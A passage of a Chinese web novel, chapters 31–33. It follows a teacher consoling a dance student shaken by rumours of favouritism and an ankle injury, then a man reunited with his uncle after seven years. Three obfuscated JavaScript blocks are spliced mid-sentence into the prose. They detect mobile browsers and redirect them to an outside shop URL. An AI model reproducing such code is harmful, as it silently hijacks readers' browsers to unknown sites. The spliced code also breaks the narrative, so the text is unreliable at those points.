到底也是见过世面的,回想起方才的失态表现,两人不禁一阵面红。萧泽看在眼里,也忍不住笑了,只得暗地里捅了孔爵几下,言归正传。“两件事要和你们说,第一,舞剧的主人公,我觉得孔爵更适合,他也同意了参演,所以,你们好好谢谢学长吧!” 二人一听此话,眼睛不禁冒出光来。方才见到孔学长,以为只是萧学长邀来做些指导,却没想到每部舞剧都是大制作的孔学长竟然同意参演他们的作品。两个年轻人连忙激动地各种感谢,孔爵也与他们玩笑着,说只要排练的伙食跟得上标准,什么都好说。萧泽见两个师弟师妹开心的像孩子一样,想到自己能够和孔爵同台演出,也不失为一件令人兴奋的事情。 “第二件事,你们近来应该已有所耳闻,团里接下来也忙着排演新舞剧和接待朝鲜艺术团,场地和人手都不太安排得开,所以演员要让团里的舞剧先挑,挑剩了是我们的,至于场地,就用校东门附近那个旧礼堂。各方面条件虽然可能艰苦点,但是排练的热情和质量不能差。” 萧泽说的云淡风轻,孔爵从旁听着,却不禁挑了挑眉。昨天团里领导找萧泽谈的,恐怕就是这些事了。放着大制作不接,非一心扑到两个小菜鸟不成熟的编舞中,在团里最忙的时候不但不帮忙,还要要人、要场地。在这重重压力下费力斡旋,是多么不容易。 团里给学长的压力,张凡跟何家齐也是早有耳闻的,本来已经抱了此事不了了之的心思,却没想到萧学长一口答应下,就竟真的实心实意的去做。当下哪里会有怨言,只诚恳地答应着,场地不好可以克服,演员参差不齐,就练到整齐,人不够,还有舞院的同学可以帮忙,学长们都能够如此倾心相助,他们,更没有资格不拼尽全力。 两件事情交代完,四个人又商议了良久,萧泽叫他们定出个具体排练方案来,演员和场地都联系好,就可以开始排练了。两个年轻人领命回学校办事,孔爵则陪着萧泽在咖啡厅又多坐了一阵。 眼前的萧泽望着窗外,不时轻啜两口咖啡,那气定神闲的样子和现在的形势太不相称,一直沉默着的孔爵终于忍不住开声。“也就是你这个死心眼的脾气,非得和团里拧着干。” 萧泽看似对此却不慎在意,听了这话只微微牵起嘴角,转而就调笑起孔爵来。“我看你说人说的中气十足,想是思思回来了,昨晚睡的还踏实?” 虽然知道是这家伙有意回避,可是一提到思思,孔爵也掩不住眼底的隐隐的欢喜,“小家伙自觉的很,在家乖乖练功呢。不过别岔开话题,你是铁了心不演团里的剧了?” “那你你是铁了心不管陶乐钦了?-” 不经意地将球打了回来,却一针见血戳到孔爵的哑穴,半晌,都不知该说什么。看见孔爵瞬间充满愁绪的眼色,萧泽不禁怪自己失言,待要说什么让他宽心,孔爵却摆摆手道无妨。 “言辞犀利可不是你的风格,我看你是担心小辈们多过自己了。” 见孔爵不甚介意,萧泽方才展颜笑笑,“其实这孩子谁也说不好该不该收。我不是来劝你,只是给你提个醒。他是有很多地方做的不妥,可是你对他是不是也有些偏见。这个年纪的孩子,性子有些偏执也是正常,也许,教教就好了。” “也许吧”孔爵点点头,却没再说什么。一到陶乐钦的事情上,他的思绪就有点缕不清,索性先放一放,忙过这阵再说吧。 就着半杯咖啡,两人又聊了些有的没得,看时间差不多,萧泽决定去舞院看看晓希,孔爵反正也闲来无事,便跟着他一起走一走。 两人沿着东门走进学校,没两步,就看见矗立在道旁的旧礼堂。孔爵盯着那已经搁置的礼堂看了半晌,想当初,自己也在这里排练过演出过呢。现如今,算上萧泽和晓希,算得上是三代舞者了,日子过的就是这么飞快,快的让人心慌。 正赶上早间第一堂课下课,两人朝着教学楼方向走过去,便遇到越来越多的学生,见到他们便激动地问好,倒惹得两人不自在起来。萧泽本意倒是不想这么显眼的,当下便拉了孔爵拐到林子边的小路上,小路难走又绕远,这时间只有几个学生三三两两地走在一起聊着天。 “诶!我今天听男班的同学说,那个林晓希,今天丢脸丢大发了呢。” 走在前面的,是两个小姑娘 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“怎么不能抢,我听说有人亲耳听见文导跟校领导拍桌子,说是非林晓希不可,还说萧学长和孔学长经验丰富,他们都一力推举林晓希呢。” 没有再听下去的必要,萧泽和孔爵忍不住对视,满腹惊疑。怎么会传出这个事情来,晓希那孩子! 不容多想萧泽拨通了晓希的电话,却无人接听,两人记得一路小跑,分头行动,一个去教学楼,一个去寝室。 -------------------------------------------------------------- 斑驳的墙壁,破旧的把干,散发着尘土味道的沙袋。 林晓希盘腿坐在厚厚的垫子上,静静望着窗外的景色。怎么会躲到这间练功房来的呢,他现在明明是看到这些东西,就泛着恶心! 多么可笑! 亏他还以为自己终于凭借实力战胜陶乐钦夺得去参赛的唯一一张入场券! 亏他还义正言辞的相信无论什么样的关系和家世都不能凌驾于实力之上。可笑!悲凉! 连个空转都做不好的他,有什么脸面讲实力! 原来他的实力,是靠人抢来的,他的脸面,也是别人撑起来的。自己拼命练习有什么用,脚腕这么不争气,保护着又有什么用。林晓希突然抬起手抄着紧馋着绷带的脚踝用力打下去,阵阵的剧痛并不引人注意,自己心口,才是插着千万把刀子。 “还以为他和陶乐钦是公平竞争,原来也一样是走后门啊” “是啊原来还有点讨厌陶乐钦,但现在觉得起码人家是用实力说话啊。” “就这个水准就能参加比赛,那我也行啊” 有时候周遭的环境就是这么残酷,一个谣言之下,仿佛大家都忘了这个首都舞少曾经的辉煌,仿佛都干不见,他紧紧缠绕着的绷带下微微肿起的脚踝。 为什么,艺考陶乐钦名不副实拿了专业第一就没有人质疑;为什么,自己拼命努力却不被认可;为什么,两人曾经剑拔弩张的气氛要靠自己先低下身价来解决;为什么他练练功和照顾情人两件简单的事情都兼顾不好。 脑海中响起了各式各样的声音,有同学酸溜溜的八卦,有小心控制着音量恰好让自己听见的抱怨,有老师的不满意,彦承的小脾气,也有心底里莫名的声音毫不留情的讽刺。这种种,轰然冲进自己的脑海。不断加剧重叠。自己越是努力地逃开,那声音越是仿佛织成一张网,铺天盖地的将自己紧紧缠绕包裹,逼得人几乎发狂。直到那快速交替的声音让他再也分不清,越来越快,满耳轰鸣。 晓希猛地捂住耳朵。不想听!不要听! 不要讲,不要再讲了! 刚迈上三楼的萧泽,听见熟悉的声音,陡然地拔高地回响在走廊里。 31. 第31章 晓希! 萧泽冲进练功房,将蜷坐在角落里的身影一把抱在怀里。胸前的人仍旧在不断挣扎,竟是未曾知觉旁人的到来。萧泽急的攥住他手臂硬生生从耳边拉了下来,“晓希!是我,是学长!晓希!” 麻木的身体终于传来阵阵痛楚,那喧嚣纷乱黑暗陌生的世界里,仿佛有熟悉的声音呼唤。那声音一遍遍地响起,从微弱,到些许听得清楚,直到渐渐清晰,如浓密雾霾下的微弱灯光。晓希睁大眼睛,渐渐清明的视野里,是学长满面焦急。 “学长……” 林晓希怔怔地望住萧泽,开口叫人,却不知喉咙沙哑的发不出声音。双肩上附着着阵阵温暖,眼前殷殷的目光也同平日里一样熟悉。只是……只是突然间无法轻易地放低心房……其实想要倾诉,也想要委屈,今天……却仿佛无论如何也做不到。 孩子周身单薄的衣衫给冷汗浸个通透,脸色也是煞白。明明才回过神,却又即刻变回那沉默寡言的样子,萧泽看在眼里,方才放低的心又再悬到喉咙口。“晓希,有什么事……跟学长说。”可惜晓希没有回答,只是固执地摇摇头,甚至像无数次逞强时候一样,挤出个不由衷地笑容。显然,一时间是不肯说什么了。萧泽也不再强逼,目光扫到他脚踝上紧缠的绷带,不禁想起那些小姑娘提及晓希今日课上的失常。“脚腕弄伤了?今天课上状态不好是因为脚伤?” 晓希下意识地缩回脚,没想到学长竟然知道今天课上的事情,那……学校里的流言,恐怕……也知道了?一个思量的功夫,学长已经不容分说拿起背包拉他起身,“走吧,带你去医院。” 长长的走廊,少年亦步亦趋地跟在身侧,萧泽伸手扶他,他却是不经意地躲闪,示意自己能走。萧泽也不再勉强,拿出手机拨通了孔爵的电话,嘟声才响过两次,略带担忧的声音已经迫不及待地闯进来。“我没找到人,你那边怎么样?” “嗯,找到人了,脚可能是有点扭伤,我带他去医院看看。你————” 话说一半,萧泽回过头征询晓希的意见,这孩子果是正望着自己,坚定地摇了摇头。 “你——不然你先回去,也好陪陪思思,这边有我。 ” 萧泽话带迟疑,电话另一头的孔爵便已了然。晓希那孩子,脸皮薄又倔强,越是有事儿,越惯着一个人藏着掖着。如今了这事儿,一群人围着也未必管用,倒是安慰人的活儿,萧泽比他擅长,晓希身边有他一个,该也是够了。 “跟我还吞吐什么,那个爱钻牛角尖的我还不知道。你好好劝劝他,我还是管思思容易些。” 萧泽忍不住轻笑,也不再多言,同孔爵道了再见正欲转身去寻晓希,路边的三言两语倒是先传进耳朵里。 “萧学长又来学校了呢……” “可惜来是冲大红人来的,你看那后头跟着呢……” “可不是……咱们要是能有这层关系,可什么都不愁了……” 那说话声渐渐远了,萧泽忍不住望向晓希。人言可畏……每日里出入听得都是这些闲言闲语,别说是个孩子,就是他自己,又何尝能够轻易消化呢。可是,晓希只低着头慢慢地走,心无旁骛,仿佛这世界上没有比看着地上的石子走路更重要的事情了。到底是麻木,习惯,还是刻意掩饰,萧泽不忍分辨,只拣些轻松的话题和他聊着。气氛却没有如想象中愉快起来,他问什么,晓希就一本正经的回答,多一句没有,少一句也不落下,那样恭顺谨慎,彷如一年前还不曾被自己收为学生的时候。 萧泽犯了难。 要么谆谆开导,要么骂两句打两下,再不济按着孔爵的法子,给扔到练功房里狠练一阵,什么心结都通通解开了。可惜这次好像没那么简单,他隐隐觉得,就算这些法子都使上,恐怕也不能奏效。 好在骨科医院并不远,出了学校大门再两了路口就是。一进医院,果然人满为患,熙熙攘攘,也算解救了身处低气压的二人。眼看着挂号的长龙排到门口,萧泽皱皱眉,领着晓希直接上了五楼。 电梯门打开,五楼果然清净很多,晓希扫了眼周围的标牌,知道这层大多是手术室和少数专家诊室。萧泽安顿他在一旁坐了,自己则到走廊里拦住了个年长的护士,看制服该是护士长了。那护士长显然是认识萧泽,很是热络地与他聊了起来,期间又朝这方向看了几下,晓希知道,学长是为了自己来拜托熟人了。果然,没一会儿萧泽便回过身朝他招招手,晓希连忙起身过去,跟着学长和护士长一同进了间诊室。 “要看病的就是你吧”,一进屋护士长便回身寻了晓希,拉起他到床边去,“脚伤了就别穿鞋了,喏,脚拿到床上来等着。” 晓希听话坐到床上,连忙跟她问好,“护士长好,谢谢您。” “客气什么?”护士长闻言打量着晓希,不禁和萧泽夸赞起来,“这孩子多好,要个头有个头,要模样有模样的,还有礼貌。你怎么给弄伤了。” 萧泽哪料到这平来地责难,不禁一笑,“学舞嘛,磕磕碰碰总难免的。”护士长却是心疼这半大的孩子,不禁白了萧泽一眼,“要么说我女儿八岁了我也没让她学跳舞,你们这些当老师的啊,就知道严厉,也不知道人家爹妈心不心疼。” 护士长自是不知道晓希父母的事,未曾留意萧泽凝固片刻的表情,目光已落到低着头的晓希身上。“孩子叫什么名字,多大了,我叫她们给你挂号去。” “呃,叫林晓希,今年17。”晓希连忙从背包里掏出学生证,示意护士长是哪几个字。 “嗯,成。老吴刚下手术,这会儿估计在病房和家属嘱咐几句,你们先等会儿,我过去跟他说声,一会儿就能回来了。” 护士长拿着学生证出门,房间里又剩下师徒两个,萧泽走到床边,正想要安慰几句,门再次被推开。这次进来的,是个四十几岁的男子,身穿着白大褂,长得是睿智又亲切的高级知识分子模样,鼻子上架着黑框眼镜,目光有神,不见是刚刚做完手术的疲累。这肯定就是护士长口中的“老吴”了。 “吴大夫!”看清了来人,萧泽连忙迎上去,“真是不好意思,这么忙还要麻烦你。其实……也是小伤。” “哈哈哈,不麻烦不麻烦,我说人总要进步的嘛,你小子这几年总算进步点,知道有事儿要走个后门了!” 吴大夫的笑声很是爽朗的。晓希静静听着两人的对话,心里却更加不舒服了。显然,学长和吴大夫很熟,却极少仗着关系便利就诊。唯独这次……是为了他。又是为了他!他果然是叫人瞧不起的,一个参赛的名额要学长去抢,就连看病,也要靠学长的关系。可是……他宁可不要,宁可不参加那什么比赛,宁可不来看病。 “晓希。晓希!” 一个激灵,晓希回过神,果然撞上学长严厉的目光,原来不知何时两人已经来到床边了。 “吴大夫好,对不起。” “不要紧的”,吴大夫安抚地拍拍他肩膀,“别拘谨,让我看看伤。” 晓希点点头,俯身拆下绷带,被缠得发皱的皮肤露出来,吴大夫拿捏了几下,不禁“咦“了一声,一旁的萧泽也不禁皱起眉头。 吴大夫安抚地拍拍萧泽,低下头询问晓希。“是扭伤的?” 晓希点点头。 “几天了?“ “三四天吧……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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适才诊室里,吴大夫的一番话还在耳边打转。萧泽知道,害怕或是偷懒,这两者都绝不会发生在晓希身上。可他就是不想练舞了,这其中的原因,不言而喻。一路上,萧泽一直规避着这个话题,想给晓希多一点时间思考,消化,也试图寻找出能解开心结的办法。可是最后,还是选择这样敞开心扉的交谈。 “晓希”,萧泽停下手里的动作,将晓希的腿放回床上,“学校的风言风语,我也听到了一些。要说让你一点不介意也不现实,但还是尽量把精力放在其他事情上,不要为无谓的流言烦恼——” “我不想去比赛。” 平地里响起少年笃定的声音,萧泽有些怀疑自己的耳朵 。然而短暂的寂静过后,生怕是萧泽没听见一般,晓希竟扬起声音,又说了一遍,“我不想去比赛!” “为什么?只因为有人觉得你是凭关系硬抢了陶乐钦的名额?” 没有任何避讳,萧泽就这样硬生生把那句话说出来。林晓希慌乱地皱起眉头,忍不住抬手去堵耳朵。可是来不及了,一字一句,就那么清清楚楚地听进耳朵里。 “如果是这样的话,就更应该去参加比赛,向大家证明你的实力,你是值得这个名额的。” “值得这个名额?” 晓希忍不住抬起头望住萧泽,“难道连学长您也不相信我吗?您要是相信我的实力,我何需向别人这样证明! 陶乐钦专业第一的成绩入校,他又向谁证明过了?这个参赛的名额,又不是我要的,我从来没有去抢,都是别人硬塞给我的! ” 话音仿佛还在房间里回响,萧泽沉默地低下头,这“别人”,不正是他吗。 32. 第32章 门外病患的嘈杂仿佛渐渐褪去,小小处置室里师徒二人之间的气氛,突然好像是真空般寂闷。 “对不起。我……” 只是个“我”字,就又卡了壳,晓希只能沉默地低下头。他知道自己失言了,学长骤然的沉默让他手足无措。他也想说对不起,他不是那个意思!可是自己……真的不是那个意思吗……?难道没有那么一瞬间,心底已经暗暗埋怨自己为何会陷入这样的境地…… 萧泽一时没有讲话,只是照着医生嘱咐替他敷上一贴中药膏,黏腻的感觉让少年不适地皱了皱眉。小孩子一时气话,自然不会往心里去,更担心的,是他现在的状态。换做平时,自然有大把时间细细开导,慢慢消化,可是现在…… 等不及了。 “晓希。” 安静中陡然响起的严肃声音让人不禁一震,晓希抬起头,学长在绷带上贴好最后一片胶布,然后一脸正色地望向自己。 “报名表连同预选赛的带子都已经寄过去了,这个节骨眼上,由不得你说不。摆在面前就只有两条路,要么,照你现在的样子破罐子破摔,坐实这个靠关系的罪名。要么,就打起十二分精神,告诉我、告诉孔爵、告诉文导,这个机会给你没错。” 学长这么指名道姓劈头盖脸的训人,还是第一次。每句话都说在心尖上,晓希一阵阵地想低下头,眼前人的威严却竟逼得他只能目不转睛地对视。不管嘴上发什么样的脾气什么样的牢骚,心底最深的地方,对这个去年已经错过的机会本就是无比期待的,可只要一想到学校里…… 思绪只不过才稍稍往那边转了一点,种种画面就那么铺天盖地的冲到脑子里来,好像下一秒就会被挤得裂开来似的。晓希下意识的闭上眼,萧泽却仿佛一下子看透了他心中所想,硬是揽着他的脖子逼他睁开眼睛。“抬起头,看着我。” 是眼看着就要成年的小伙子了,可那满是红血丝的一双眼睛望向自己,蓦地刺得萧泽更加心疼,刚要出口的话,不禁在嘴边打了个回旋。这么逼他,真的行吗?可是不这么做……望着眼前这毫无生气的眼神,终究还是狠狠心。 “你跟着我练一天得舞,一天就得知道舞者的专业态度永远是要摆在第一位,旁人的评断、周遭的眼光、都不能逾越了它。每一次机会都要认真对待,台上的每一分钟都要对得起自己对得起台下人的人。做不到这些……就不是我的学生!” 眼前的人,分明狠狠地震动了下身子,萧泽却强逼着自己松开手,毅然向门口走去,“没有时间可以浪费,我现在去帮你取药,希望我回来的时候,你已经想好了。” 话音未落,处置室的门已经被自己反手关上,萧泽疲惫地靠在走廊的墙上,依旧不确定自己这么做对不对。林晓希,已经是一根绷得太紧的弦,自己这么一记重锤下去,会不会绷断了?萧泽用力地揉揉太阳穴,不敢继续想下去。这孩子,从来没让人失望过,希望这一次,也不会。 去药局拿接下来几天的膏药,的确没有多久时间,再次站到门前,萧泽忍不住的紧张,这也许是第一次,他真的不确定,门另外一边的孩子到底能不能这么快想通。推开门,是已经把自己收拾妥当端端正正坐在椅子上的晓希,萧泽压抑着忐忑走到他身前,等待着答案。 晓希一直望着自己的鞋尖,恨不得透过鞋子看到地底下去,可是萧泽还是听见他闷闷地说,“我会认真准备比赛的。我也想继续做您的学生。” 一颗悬着的心,却并未因为这两句话就落了地。给了这样的答案,萧泽的确不怀疑他会全心备战,可是自己一眼就看得出,他的心结明明还没有解。可是不管怎么说,总算是破开个缺口,剩下的,只能慢慢开导了。萧泽无声地叹了口气,扶起晓希,“走吧,这几天回家住,你脚伤也有个照应。” “呃不”,话音还未落晓希就几乎是下意识的拒绝,萧泽不禁一愣,随即也明白过来,“这样的状态不想面对承儿?” 身边的人却仍是答非所问,“反正吴医生也说了,我的脚伤该好了,我自己能照顾好自己。” 仿佛是为了证明这些,晓希松开萧泽的手,甚至轻跳了两下,“谢谢学长……我先回学校了。” 一堂艺术理论课下来,陶乐钦只觉得头昏脑涨,瞌睡虫和馋虫轮番轰炸,方方正正的中国字都好像不如日文那么和善。将厚重的教科书放回书包,安然躺在背包内层的棕色笔记本却让人不禁顿了顿。陶乐钦忍不住摩挲着笔记本皱的的厉害的边缘,下一秒,却触电般的收回手狠狠地拉上了书包。 距离那一日,已经有几天了,陶乐钦尽力不再去想与那有关的一切事情,断了念想,照常学习,照常练功,更像是回到了从前在日本的日子,自己反而偶尔竟然也觉得轻松,甚至是有闲心担心别人。想到这里,他不禁下意识扫过教室第二排的中间,林晓希平时惯坐得位子。三好学生竟然也翘课了。 “看到没,林晓希都没来上课。” “大家都知道了,脸皮再厚的也得知道不好意思了吧。” “你说这是真的吗?” “……” “……” 老师都还没走出门教室里就已经议论开来,柏林大奖赛的闲言闲语,陶乐钦从一大清早听到了现在。他才不管这些人是不是别有用心地一定要用自己能听见的音量议论,直接抄起书包大步流星地走出教室。可惜就算吃过晚饭回到寝室,他也还是不得消停。 “哎……虽然说林晓希是挺厉害的,他的实力不容我们质疑,可是面对对手也应该公平竞争啊。不能因为跟学长们关系好就这么大肆地走后门吧。亏我之前还站在他这边。” 一推开寝室门就看见有人背对着自己高谈阔论了,陶乐钦只作没听见他的“高见”,也没看见那些猛朝当事人使眼色叫他闭嘴的人,径直走向自己的衣柜,挑了练功服出来。他真的不明白怎么就有人像是他从前的邻居阿嬷一样,吃饱了饭只知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239530|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道坐在窗口谈论东家长西家短。 这“高谈阔论者”竟还不自知地凑到他跟前来。 “那个……陶乐钦?其实我们都挺同情你的。你不要往心里去,有了一次总不会有第二次,我们从前错怪你了,你————” “我什么?” 陶乐钦冷着声音,毫不耐烦地质问着被自己的眼神逼得卡了壳的人。许是早习惯了他的不理不睬,突然这样直言对峙,倒是让大家都一时反应不过来,没了话说。 “不说了?好,那我说。”陶乐钦冷冷扫过眼前的这两三个人,满心的不屑。“你们之中,有的号称是跟林晓希一个附中上来的同学,有的从前也不乏在我面前大肆赞扬他的实力,也有的,号称为了校友跟我横眉冷对。怎么现在这么快就改变立场了?我还真是替林晓希感到伤心。也对你们感到恶心,为你们廉价的同窗情谊。” 这也许,是从入了学校开始跟同学说过的最长的一段话吧。陶乐钦甩上了寝室的房门大步流星地向练功房走去。走廊尽头的那间小屋,大家早已自动自觉的留给他,再次甩上练功房的房门,胸间貌似还是有隐隐的火气。他也不明白自己怎么会为了林晓希的冤屈而生气,也许是不知不觉中把他当做了朋友?不不是,他用力地否定自己,应该单纯地只是因为因彼此尊重而产生的对手情谊。 习惯性地伸展四肢热身,陶乐钦的思考还在继续。或许……或许等一下那家伙来帮忙练功的时候,出于对他帮助自己的感激,是不是应该善意的安慰一下。比如说告诉他文导早就找自己谈过这件事,或者告诉他自己比任何人都知道自己在这次柏林大奖赛上并不占优势,虽然如果机会给了他陶乐钦他一定会全力以赴,再或者直接告诉他自己完全没在在意这件事……再或者———— 不……不……没有或者了。。 望着镜中的自己陶乐钦连绵不绝的思绪刹那间断掉,他难道忘记了吗,林晓希不会来的了,那一天,就是这个从头到脚都要他看不顺眼的林晓希一边守护着自己心爱的人一边斩钉截铁地说,我也不会再帮你! 呵……几天前才发生的事情,怎么就差点忘了呢。陶乐钦有些失神地坐下,眼神却忙碌地看看墙壁、看看书包、亦或是看看脚上已经开始磨损的舞鞋,总之不要停住目光,免得那些画面总是见缝插针地在眼前闪过。。。 这下也不必再纠结到底是不是真的不小心把那个“尖子生”当做朋友了,反正,现在肯定不是了。那么说起来,也不必夜夜在这又窄又陈旧的练功房里捱的太晚,不是都说了不做孔爵的学生了吗。那自己今天又来这里干嘛?哎……习惯果然是力量很强大的东西啊。陶乐钦自嘲地摇摇头,那么浮生偷得半日闲,在这没人打扰的地方写写日记也不错。他一个翻身从背包里掏出日记本和笔,只是那斑驳模糊的黑白摊开在眼前的瞬间,面色不禁再次愕然起来。是了……就连日记本也是过……去…… 的习惯了。 33. 第33章 不知是膏药真的有效还是心中的结正渐渐纾解,回去的路,晓希倒是走的顺当了很多,脚下不见早些时分的踉跄。只是那沉默,一如方才。直到了校门口,萧泽才听到了从医院出来的第一句话。 “学长您回去吧。比赛……我会专心准备。” 这样的状态,又怎么能放心,萧泽不愿流露任何担忧在面上给孩子压力,只是不得不在心底暗暗叹气。“这几天我在学校陪你,全心备赛。白天的课程可以暂时放下,我请文导帮你打声招呼就好。” “其实不——” 晓希惊诧地抬起头,一句不用还没说出口就硬生生地憋了回去,撞见学长担忧的眼神,就仿佛被蛰伤般的低下头。比赛的日子一天天近了,自己确实还不曾全心投入。只是这个时候,能不能让他就暂且离开舞蹈那么一小会儿,就那么一小会儿,远离那让人无能为力的窒息感。 “今天余下来的时间,我能不能请假。明天……从明天开始。” 面对这内心已伤痕累累的学生,怎么能说出个“不”字。今天,逼也逼过了,劝也劝过了,总归要给他一些时间消化。萧泽将药递到晓希手里,还是忍不住嘱咐,“晚上记得自己换药,我从今晚住到文导空着那员工宿舍去,有什么事随时来找我。最后提醒你一句,从现在算起,赛前的日子并不宽裕了,没有过多的时间用来调整状态。你自己,心里要有数。” 赛前的日子……不宽裕……心里要有数…… 还未及细细咀嚼消化,再回过神时,学长竟已走远。晓希站在校门口,只觉得身上的背包有千斤重,压得自己一步都走不动。 “这么说这几天都不回来住了?” 彦霖把手机夹在耳边,迅速签了眼前的文件便示意秘书先出去。 “嗯,我等会收拾完东西就先过去”,电话这一头,萧泽也同样一手拿着电话,一边把生活用品扔进行李袋。 “晓希现在这状态我放心不下。承儿我也跟他说好了,每天抽空回来教他。哦还有,今天晚饭我已经做好了,在炉子里温着,你回来直接——” “你的事儿已经够多了,还忙这些琐碎事!都这么大人了,我跟承儿还能饿着自己不成?” 彦霖不得不打断萧泽,他现在是满心舍不得自己的情人如此忙碌,舞剧排练,承儿的功课,现在加上晓希的比赛,就是一个人劈成两半也忙不过来。 “晓希那边你只管照应着,承儿这边你不要每天回家折腾,他没有文化课的时候就叫他坐车去团里找你,排练空当你给他看着点就行了。” “也好。” 情人的安排妥帖,萧泽自然没有异议,眼看着行李也收拾好了,便悄悄在电话上落下一个吻,道了再见。无论何时,来自萧泽的亲近总会让人觉得甜蜜的。彦霖扫了眼挂钟,整理好公文包准备早点回家陪承儿,嘴角还兀自挂着方才隔空一吻后的微笑。 2%低脂牛奶、低糖豆浆、鸡蛋…… 推着购物车路过冷藏区,孔爵照着购物单把食物一样样捡进车里。下午跟萧泽通过电话后时间还早,想起家里冰箱也快空了,便趁着下班人群袭击超市之前来采买食材。好在目标明确,手脚利落,孔爵结好账拎着大包小包前往停车场的时候,人群才三三两两地多起来。 超市离家并不远,不到十分钟,孔爵已经拎着大包小包到了家门口。腾出一只手开了门,也没叫思思帮手,这个时候小孩儿该是在练功才对。只是当孔爵正撑着门把几个大袋子拎进玄关的时候,思思清脆的声音却在客厅响起。 “伯伯您喝茶。欸,人呢?” “伯伯?哪里来的伯伯?” 孔爵把头探到客厅,果真看见方才还被自己笃定地以为肯定在练功房的思思端着茶杯惊讶地站在那里。 “老师您回来了?家里来了客人,可是……人怎么不见了?” “家里怎么会有客人?” 孔爵狐疑地打量了下门口放着的男士休闲鞋,刚刚进来手忙脚乱竟是没有注意。只是,实在想不出家里会有什么客人来,难道这光天化日的还有这么明目张胆入室偷盗的?孔爵心底隐隐不安,上前几步放下思思手里的茶杯,把自己的手机塞到他手里,“去客厅阳台等着,有情况就锁上阳台门报警“。 “可是……” 思思站在原地没动。 “可是什么?” 孔爵把思思往阳台方向推了推,自己则抄了那根棒球棒一点点朝里厅探去。“快去,这么大的人了,怎么还不知道不能随便给陌生人开门?” 厨房没人,洗手间貌似有声音? “可是不是我开的门,是伯伯自己用钥匙进来的。” “什么?”孔爵诧异回过头,更加不相信自己的耳朵。眼前的思思一脸无辜的攥着手机,面对老师的一头雾水,一时不知道怎么把故事长话短说。“我是说,伯伯是自己用钥匙开门进来的,他说他是你的——” “阿爵。” 阿爵……!!! 久违地两个字,先于思思的解释冲进耳朵。低沉厚实地男声,却好像电闪雷鸣一样在脑中炸开,闪得……脑海中一片空白,响得……双耳只余单一的鸣音。 孔爵倏地转回头,多年来在心中时时响起的三个字早已呼之欲出,可是转身对视地那一秒,喉咙却仿佛被哽住,张张嘴,任凭多努力,都说不出一个音节…… 眼前这个人,棱角分明的面孔一如从前,他亦同往日一样,朝自己展露出温暖宽容的微笑,那略带生涩的微笑,好像燎原星火,让遥远的记忆都瞬间在眼前鲜活起来…… “诶小子!我带你掏鸟窝去啊!” “求你下次再翻墙去会姑娘可机灵点啊!一找家长就叫我,被磨叽得耳朵出茧子了。” “你根本就不适合跳舞!犯不着为了跟我较劲留在这里!” “跳不好就滚蛋!不要浪费老师的时间同学的资源!” …… 河边游泳时一把拽下他泳裤满脸坏笑的损友;老爷子发火时一边认错一边使眼色叫他回房的“挡箭牌”;因他屡屡在校闯祸而常常出现在教师办公室里的“不负责任的家长”;还有少时练功房里那手持竹条让人又恨又憎的陆海言……可这一切一切身份都不准确,那片片画面中的主角都只是自己消失了七年的…… “小叔叔……” 三个字就这么从容从口中溜出,孔爵却未从记忆中抽离出来。 “怎么?七年没见,迎接我的是一顿棒子?” 轻描淡写的一句话,仿佛是来自远古洪荒的声音,一点点清晰,一遍遍回响,直到终于惊醒了孔爵这思维空白、行为静止的绝对停滞。散落的眼光缓缓聚焦,停留在眼前人的眉目间……说出这么一句玩笑话,面上竟还是一派严肃。孔爵不禁自嘲地摇摇头,低头看了看一直紧攥在手里球棒,一时间,竟也不知该说些什么。半晌,才终于低声道,“你回来了。” 而陆海言,依旧是露着宽容的笑容,只是那笑容仿佛又带了些感慨, “嗯。回来了。我……回家看了看,也想着过来看看你,大嫂怕你不在家让我空等,就拿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239531|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钥匙给我。你这个小徒弟,不错。” 陆海言的眼神落到思思身上,一直愣在旁边不知所措的思思连忙不好意思的摇摇头,说不出的羞涩。这么又乖又秀气的孩子,跟陆海言想象中孔爵会看得上的学生不同,他还以为,自己这个侄子会不遗余力地招了一班跟自己恨不得一个模子刻出来的臭小子们。 然而孔爵并没搭腔,任凭眼前自言自语地小叔叔伸手将他的棒球棍拿下来放到一旁,“我虽是不请自来,你这棒子可也该放下了吧。这次回来,看到你过得不错,小徒弟也教得好,大哥大嫂也——” “你也知道回来!!” 伴随着思思陡然的惊叫,是孔爵始料未及的怒火,下一秒,陆海言已经被揪着领子抵到墙上,重重地撞出“砰”的一声。 “当初说走就走没人拦着你!这么多年杳无音信,逼着二老说出闭眼前能见一面就好的话来。现在你回来了!看到他们一切都好,开心了?心满意足了?问心无愧了!?想没想过这些年大家是对你如何牵挂的!?” 暴风雨过后,是死一般的沉寂,然而那一句紧似一句的的斥问却好像依然在空中回响。陆海言强撑半晌的若无其事,也终于不禁黯然下来…… 